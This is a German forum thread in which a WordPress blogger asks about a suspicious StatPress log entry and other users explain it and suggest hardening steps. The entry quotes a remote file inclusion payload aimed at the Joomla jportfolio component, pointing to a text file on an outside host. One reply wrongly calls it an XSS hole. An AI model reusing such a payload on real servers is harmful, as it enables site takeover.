Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
Jetzt anmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellen
hi!
ich hab das stattpress-plugin am laufen und da hatte ich vorhin mal geschaut, was da so los ist und fand da einen türkischen besucher, der auf dieser seite war
option=com_jportfolio&mosConfig. absolute.path=http://www.miranda.gov.ve/modules/mod_sections/id1.txt???
was soll das sein? sonst steht da halt immer welche seite die von mir besucht haben. aber das? außerdem war der recht oft da.
ist das was schlimmes?
Hallo!
Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.
Ok, entweder du hast dir die Seite nicht angesehen die er versucht hat
zu laden oder Du hast keinen guten Virenscanner!
Jportfolio ist ein Plugin für Joomla, ich würde sagen er hat versucht über
eine XSS-Lücke dieses Plugins einen Trojaner in deine Seite zu schleusen!
Vielleicht hat er nicht gemerkt das er sich auf einem WP-System befinden?!
Die Anweisung scheint zwar auf den ersten Blick keinerlei Einfluss zu haben
aber ich an Deiner stelle würde mir die Einstellungen meiner Plugins nochmal
ganz genau und gucken ob er irgendwo was geändert hat.
darüber hinaus würde ich die IP auf eine Blacklist setzen!
LG
oje, oje.....ich wusste doch gleich, dass das komisch ist.
also ich hab da keine ahnung von!
was ist die IP? und wie/wo setzte ich die auf eine blacklist?
und was genau soll ich mir bei den plugins anschauen?
so ein dreck!!!!
danke erstmal!
Dieser Artikel von Bueltge.de könnte helfen!
Nach dem lesen, auch der verlinkten Seiten, kann man der Einfachheit
halber diesen .htaccess Editor verwenden.
Und zu den Plugins: Klicke als erstes die Links der Plugins im Adminmenu
durch. Tauch dort irgendwo, in der Adresszeile, jportfolio auf, deaktiviere
das Plugin und suche im Internet ob es bekannt Sicherheitslücken gibt
und wie man diese ggf. schließen kann, ansonsten deaktiviert lassen
und nach einer sicheren alternative suchen!
ich weiß nicht genau, was du mit "lesen" meinst. meinst du, dass ich mir die ganzen plugns und überhaupt meine ganzen WP sachen unter "editor" durchschauen muss? das dauert ja ewig....
die links habe ich alle einmal angeklickt und bin da raugekommen, wo ich sollte und meine seiten bin ich auch einmal alle durch um zu sehen, ob da was in den texten steht - war das richtig so?
kann ich denn aber jetzt trotzdem weiter posten und mich da nach und nach drum kümmern? oder ist das nicht so gut?
Das lesen war auf den Artikel von Bueltge.de und darin enthaltenen Links
bezogen!
Und beim durchklicken der Links im Adminmenu solltest Du nicht darauf achten
wo du landest sondern was in der Adresszeile steht! Wenn da irgendwo
JPortfolio steht solltest Du dieses Plugin deaktivieren!
Wie du vorgehst ist ganz allein Dein sache, aber wenn du es 'nach und nach'
machst gefährdest Du Deinen Blog und was viel schlimmer ist Du setzt
Deine BEsucher der gefahr aus sich eventuell einen Trojaner ein zu fangen!
mh..ok, danke.
auf die adresszeilen hab ich auch geachtet - war alles ok.
jetzt mal noch ne andrer frage: hab ich überhaupt einen trojaner? woran erkenne ich das? du sagtest ja "da hat einer versucht...".
falls ja, werd ich so vorgehen, wie in dem link von dir.
Also... er hat versucht über die Schwachstelle eines Plugins das Du
nicht einsetzt, einen Trojaner zu laden, da Du das Plugin nicht
verwendest wird er auch keinen Erfolg gehabt haben!
Damit ist die Sache eigentlich abgeschlossen, wenn Du ganz auf nummer
sicher gehen willst, guckst Du Dir noch die Einstellungen Deiner Seite
und Plugins an und prüfst ob da alles OK ist, die jeweiligen Dokumentationen
helfen dir herauszufinden was wo stehen darf und was nicht!
LG
ok, werd aber trotzdem mal die artikel lesen, wie man WP sicherer machen kann...
danke dir!!
mh...irgendwie zeigt mir statpress keine feeds mehr an. die sind alle weg bzw es gab nur einen einzigen - irgendwann mal. aber das stimmt doch nicht..? "grübel".
oder werden die zusammen mit den letzten suchbegriffen gelöscht, wenn man auf statpress-update klickt?
hallo mal wieder!
der oben genannte "besucher" kommt eigentlich wöchentlich bei mir vorbei - ist aber bis jetzt nix doles augefallen....habt ihr eigentlich nie solche netten gäste?
na egal, jedenfalls hatte ich heute
mal einen, bei dem das hier stand:
http://www.zirkon777.de/wp-admin/www.z…pe=file&folder=
danach wollte ich in den plugins-editor und da kam:
Fatal error: Allowed memory size of 3355....
frage: hat das was miteinander zu tun?
Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!